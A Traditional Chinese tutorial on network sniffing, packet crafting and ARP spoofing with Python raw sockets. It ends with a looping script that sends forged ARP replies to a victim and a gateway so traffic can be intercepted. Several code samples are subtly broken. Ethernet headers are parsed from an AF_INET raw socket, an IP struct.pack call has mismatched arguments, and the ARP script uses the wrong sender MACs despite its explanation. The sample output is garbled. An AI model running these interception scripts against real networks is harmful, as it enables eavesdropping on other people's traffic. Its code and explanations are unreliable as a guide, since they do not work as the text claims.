網路安全領域中,掌握網路嗅探和封包分析技術至關重要。本文從嗅探器型別開始,逐步深入講解被動式和主動式嗅探的原理和區別,並結合 Python 的 socketstruct 模組,示範如何捕捉和解析網路封包。接著,文章詳細解析了 Ethernet、IP 和 TCP 封包頭的結構,以及如何使用 struct.unpack 函式提取關鍵資訊,例如 MAC 地址、IP 地址和埠號。同時,也涵蓋了位元組順序轉換的重要性,以及 ntohlntohshtonlhtons 等函式的應用。最後,文章介紹了 ARP 欺騙的攻擊原理和 Python 實作,並提供自定義封包製作的程式碼範例,展示如何應用這些技術進行網路安全測試,例如防火牆規則測試和埠掃描。

網路嗅探與滲透測試

網路嗅探是監控和捕捉透過特定網路的所有資料包的過程,通常由網路管理員執行。然而,攻擊者也可能使用嗅探器捕捉資料,並可能包含敏感資訊,如使用者名稱和密碼。

網路嗅探器的介紹

網路嗅探器是一種軟體或硬體裝置,用於監控和捕捉網路中的資料包。網路管理員使用嗅探器來分析網路流量,而攻擊者則可能利用它來竊取敏感資訊。

網路嗅探的型別

網路嗅探主要有兩種型別:被動式嗅探和主動式嗅探。

被動式嗅探

被動式嗅探是指在集線器(Hub)為基礎的網路中進行嗅探。透過將嗅探器置於混雜模式,可以捕捉子網中的資料包。

主動式嗅探

主動式嗅探則是在交換機(Switch)為基礎的網路中進行。交換機比集線器更聰明,它根據MAC表將資料包傳送到特定的電腦。主動式嗅探是透過ARP欺騙來實作的。

使用Python實作網路嗅探器

在學習如何使用Python實作網路嗅探器之前,我們需要了解struct模組的使用。struct模組提供了將資料封裝和解封裝的功能。

struct模組的使用

import struct

# 封裝資料
packed_data = struct.pack('!hhh', 1, 2, 3)
print(packed_data)

# 解封裝資料
unpacked_data = struct.unpack('!hhh', packed_data)
print(unpacked_data)

在上述程式碼中,我們使用了struct.pack方法將三個整數封裝成二進位制資料,並使用struct.unpack方法將其解封裝。

使用Python進行封包偽造

封包偽造是指建立和傳送自定義的網路封包。使用Python的socketstruct模組,可以實作封包偽造。

客戶端-伺服器模型示例

伺服器端程式碼:

import socket
import struct

host = '192.168.1.100'
port = 12345

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(2)

conn, addr = s.accept()
print('Connected by', addr)

data = struct.pack('!hhh', 1, 2, 3)
conn.send(data)
conn.close()

客戶端程式碼:

import socket
import struct

host = '192.168.1.100'
port = 12345

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

data = s.recv(1024)
unpacked_data = struct.unpack('!hhh', data)
print(unpacked_data)

s.close()

內容解密:

  1. 伺服器端建立一個TCP通訊端,並繫結到特定的IP和埠。
  2. 使用listen方法監聽連線請求。
  3. 當客戶端連線時,接受連線並傳送封裝的資料。
  4. 客戶端連線到伺服器,並接收資料。
  5. 使用struct.unpack方法解封裝接收到的資料。

ARP欺騙的概念和實作

ARP欺騙是一種用於主動式嗅探的技術,透過偽造ARP回應來欺騙目標主機,使其將攻擊者的MAC地址與目標IP地址關聯起來。

自定義封包測試安全性

透過使用Python進行封包偽造和ARP欺騙,可以測試網路的安全性。

網路嗅探與滲透測試:深入理解位元組順序轉換與網路嗅探器實作

在網路程式設計中,位元組順序(Byte Order)是一個重要的概念。不同的電腦系統可能使用不同的位元組順序來表示多位元組的資料,例如整數。為了確保資料在網路傳輸中的正確性,網路通訊協定規定了統一的網路位元組順序(Network Byte Order)。本章節將探討四個重要的函式,它們用於在主機位元組順序(Host Byte Order)與網路位元組順序之間進行轉換。

位元組順序轉換函式

  1. ntohl():將 32 位元的整數從網路位元組順序轉換為主機位元組順序。
  2. ntohs():將 16 位元的整數從網路位元組順序轉換為主機位元組順序。
  3. htonl():將 32 位元的整數從主機位元組順序轉換為網路位元組順序。
  4. htons():將 16 位元的整數從主機位元組順序轉換為網路位元組順序。

為什麼需要這些函式?

考慮一個 16 位元的數字 0000000000000011,當它從一台電腦傳輸到另一台電腦時,其位元組順序可能會被改變。接收端的電腦可能會以不同的形式接收這個數字,例如 1100000000000000。這些函式的作用就是在主機位元組順序和網路位元組順序之間進行正確的轉換。

網路嗅探器實作

接下來,我們將探討如何實作一個網路嗅探器,它能夠在 TCP/IP 模型的物理層(Ethernet)、網路層(IP)和傳輸層(TCP)進行資料捕捉和分析。

程式碼解析

以下是用於實作網路嗅探器的程式碼片段:

import socket
import struct

# 建立原始 Socket
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)

while True:
    # 接收資料
    packet = s.recvfrom(65565)
    
    # 解析 Ethernet 頭部
    eth_header = packet[0][0:14]
    eth = struct.unpack('!6s6sH', eth_header)
    print("Source MAC: ", eth[1])
    print("Destination MAC: ", eth[0])
    
    # 解析 IP 頭部
    ip_header = packet[0][14:34]
    iph = struct.unpack('!BBHHHBBH4s4s', ip_header)
    print("Source IP: ", socket.inet_ntoa(iph[8]))
    print("Destination IP: ", socket.inet_ntoa(iph[9]))
    
    # 解析 TCP 頭部
    tcp_header = packet[0][34:54]
    tcph = struct.unpack('!HHLLBBHHH', tcp_header)
    print("Source Port: ", tcph[0])
    print("Destination Port: ", tcph[1])

內容解密:

  1. 建立原始 Socket:使用 socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) 建立一個原始 Socket,以便能夠捕捉 TCP 封包。
  2. 接收資料:使用 s.recvfrom(65565) 接收網路封包,最大接收大小為 65565 位元組。
  3. 解析 Ethernet 頭部:使用 struct.unpack('!6s6sH', eth_header) 解析 Ethernet 頭部,提取來源和目的 MAC 地址。
  4. 解析 IP 頭部:使用 struct.unpack('!BBHHHBBH4s4s', ip_header) 解析 IP 頭部,提取來源和目的 IP 地址。
  5. 解析 TCP 頭部:使用 struct.unpack('!HHLLBBHHH', tcp_header) 解析 TCP 頭部,提取來源和目的埠號。

網路嗅探與滲透測試:深入解析封包捕捉與分析技術

網路封包捕捉原理與實作

在網路安全領域中,封包捕捉與分析是一項至關重要的技術。透過捕捉網路封包,我們可以深入瞭解網路通訊的細節,從而進行安全檢測和滲透測試。本章節將重點介紹如何使用 Python 進行網路封包捕捉和分析。

封包捕捉程式碼解析

首先,我們來分析一個簡單的封包捕捉程式碼範例。這個範例使用 Python 的 socketstruct 模組來捕捉和解析網路封包。

import socket
import struct

# 設定網路介面
TPDLFU = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))

while True:
    # 接收封包
    packet = TPDLFU.recvfrom(2048)
    
    # 解析 Ethernet 幀頭
    ethernet_header = packet[0][0:14]
    eth_header = struct.unpack("!6s6s2s", ethernet_header)
    
    # 解析 IP 頭
    ip_header = packet[0][14:34]
    ip_hdr = struct.unpack("!8sB3s4s4s", ip_header)
    
    # 列印來源和目的 IP 位址
    print("Source IP --> Destination IP")
    print(socket.inet_ntoa(ip_hdr[3]), "-->", socket.inet_ntoa(ip_hdr[4]))
    
    # 解析 TCP 頭
    tcp_header = packet[0][34:54]
    tcp_hdr = struct.unpack("!HHLLBBHHH", tcp_header)
    
    # 列印來源和目的埠號
    print("Source Port --> Destination Port")
    print(tcp_hdr[0], "-->", tcp_hdr[1])
    
    # 解析 TCP 旗標
    flags = tcp_hdr[5]
    flag_ack = (flags & 0x10) >> 4
    flag_push = (flags & 0x08) >> 3
    flag_fin = flags & 0x01
    
    # 列印 TCP 旗標
    print("Flag Ack Push Fin")
    print(flag_ack, flag_push, flag_fin)

程式碼詳細解說

  1. 設定網路介面:使用 socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800)) 建立一個原始通訊端,用於捕捉 IP 封包。
  2. 接收封包:使用 TPDLFU.recvfrom(2048) 接收網路封包,緩衝區大小為 2048 位元組。
  3. 解析 Ethernet 幀頭:使用 struct.unpack("!6s6s2s", ethernet_header) 解析 Ethernet 幀頭,取得來源和目的 MAC 位址。
  4. 解析 IP 頭:使用 struct.unpack("!8sB3s4s4s", ip_header) 解析 IP 頭,取得來源和目的 IP 位址。
  5. 解析 TCP 頭:使用 struct.unpack("!HHLLBBHHH", tcp_header) 解析 TCP 頭,取得來源和目的埠號,以及 TCP 旗標。

輸出結果分析

執行上述程式碼後,我們可以得到類別似以下的輸出結果:

---
-
---
-Ethernet Frame
---
-
---
-
Source MAC --> Destination MAC
005056e2859d --> 000c29436fc7
---
-
---
-
---
IP
---
-
---
-
---
-
---
---
Source IP--> Destination IP
91.198.174.192 --> 192.168.0.24
---
-
---
--TCP
---
-
---
---
Source Port--> Destination Port
443 --> 43885
Flag Ack Push Fin

從輸出結果中,我們可以分析出以下資訊:

  • Ethernet 幀頭中的來源和目的 MAC 位址。
  • IP 頭中的來源和目的 IP 位址。
  • TCP 頭中的來源和目的埠號,以及 TCP 旗標。

自定義封包製作技術

除了捕捉和分析網路封包外,自定義封包製作技術也是網路安全領域中的一項重要技能。透過自定義封包製作,我們可以測試防火牆規則、進行埠掃描,以及檢測作業系統的行為。

自定義封包製作範例

以下是一個簡單的自定義封包製作範例,使用 Python 的 socketstruct 模組來建立一個自定義的 Ethernet 封包。

import socket
import struct

# 建立自定義 Ethernet 封包
ethernet_packet = struct.pack("!6s6s2s", 
                              b'\x00\x0c\x29\x43\x6f\xc7', 
                              b'\x00\x50\x56\xe2\x85\x9d', 
                              b'\x08\x00')

# 建立自定義 IP 封包
ip_packet = struct.pack("!BBHHHBBH4s4s", 
                        0x45, 0x00, 
                        0x00, 0x28, 
                        0x00, 0x01, 
                        0x00, 0x00, 
                        0x40, 0x06, 
                        b'\x4a\x7f\x18\xc1', 
                        b'\xc0\xa8\x00\x18')

# 合併 Ethernet 和 IP 封包
packet = ethernet_packet + ip_packet

# 傳送自定義封包
sock = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
sock.send(packet)

自定義封包製作的應用場景

自定義封包製作技術在網路安全領域中有著廣泛的應用,例如:

  • 測試防火牆規則:透過自定義封包製作,我們可以測試防火牆規則的有效性。
  • 進行埠掃描:自定義封包製作可以用於進行埠掃描,以檢測目標主機開放的埠號。
  • 檢測作業系統的行為:透過自定義封包製作,我們可以檢測作業系統對不同型別封包的反應。

ARP Spoofing攻擊原理與Python實作

ARP協定簡介

ARP(Address Resolution Protocol)是一種用於將IP地址轉換為對應的乙太網路(MAC)地址的協定。當資料包到達網路層(OSI模型)時,它具有IP地址,而資料鏈路層的資料包需要目標裝置的MAC地址。在這種情況下,傳送者使用ARP協定。

ARP請求與回應

  • ARP請求:當主機想要向同一子網路中的另一台機器傳送訊息時,它只知道對方的IP地址,而不知道對方的MAC地址。於是,主機廣播ARP請求,所有子網路中的機器都會收到這個請求。乙太網路協定型別的值為0x0806
  • ARP回應:目標機器收到ARP請求後,會以單播的方式回傳自己的MAC地址,這就是ARP回應。

ARP快取

為了減少位址解析請求的數量,使用者端通常會在短時間內快取已解析的位址。ARP快取的大小是有限的。當裝置想要向子網路中的另一個目標裝置傳送資料時,即使傳送者知道接收者的IP地址,也必須先確定目標裝置的MAC地址。這些IP到MAC位址的對映關係是從每個裝置上維護的ARP快取中取得的。使用arp -a命令可以檢視ARP快取。

ARP Spoofing攻擊原理

ARP Spoofing,也稱為ARP快取中毒,是一種攻擊方式,攻擊者透過修改閘道器的ARP快取中的受害者機器的MAC地址,以及受害者機器的ARP快取中的閘道器的MAC地址,從而實作對區域網路的攻擊。攻擊者可以嗅探區域網路上的資料幀。在ARP Spoofing中,攻擊者向閘道器和受害者傳送偽造的回應,以將攻擊者的MAC地址與另一個主機(例如預設閘道器)的IP地址關聯起來。ARP Spoofing用於主動嗅探。

Python實作ARP Spoofing

以下是使用Python實作ARP Spoofing的程式碼範例:

import socket

# 建立原始socket
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
s.bind(("eth0", socket.htons(0x0800)))

# 定義MAC位址
victim_mac = b'\x00\x0c\x29\x4e\x67\x68'
gateway_mac = b'\x00\x50\x56\xc0\x00\x08'

# 定義ARP協定程式碼
code = b'\x08\x06'

# 定義Ethernet幀
eth1 = victim_mac + gateway_mac + code
eth2 = gateway_mac + victim_mac + code

# 定義ARP請求/回應包內容
htype = b'\x00\x01'
ptype = b'\x08\x00'
hsize = b'\x06'
psize = b'\x04'
opcode = b'\x00\x02'

# 定義閘道器和受害者的IP地址
gateway_ip = '192.168.1.1'
victim_ip = '192.168.1.100'

# 將IP地址轉換為十六進位制格式
gip = socket.inet_aton(gateway_ip)
vip = socket.inet_aton(victim_ip)

# 組裝ARP Spoofing包
arp_victim = eth1 + htype + ptype + hsize + psize + opcode + victim_mac + vip + gateway_mac + gip
arp_gateway = eth2 + htype + ptype + hsize + psize + opcode + gateway_mac + gip + victim_mac + vip

# 傳送ARP Spoofing包
while True:
    s.send(arp_victim)
    s.send(arp_gateway)

程式碼解析:

  1. 建立原始socket:使用socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))建立原始socket。
  2. 繫結網路介面:使用s.bind(("eth0", socket.htons(0x0800)))將socket繫結到eth0網路介面。
  3. 定義MAC位址和ARP協定程式碼:定義受害者和閘道器的MAC位址,以及ARP協定程式碼0x0806
  4. 組裝Ethernet幀和ARP請求/回應包:根據ARP協定頭部結構,組裝Ethernet幀和ARP請求/回應包。
  5. 傳送ARP Spoofing包:使用s.send()方法傳送ARP Spoofing包。

執行結果

執行上述程式碼後,可以看到受害者和閘道器的ARP快取被修改,攻擊者的MAC地址與閘道器和受害者的IP地址關聯起來。這樣,攻擊者就可以嗅探區域網路上的資料幀。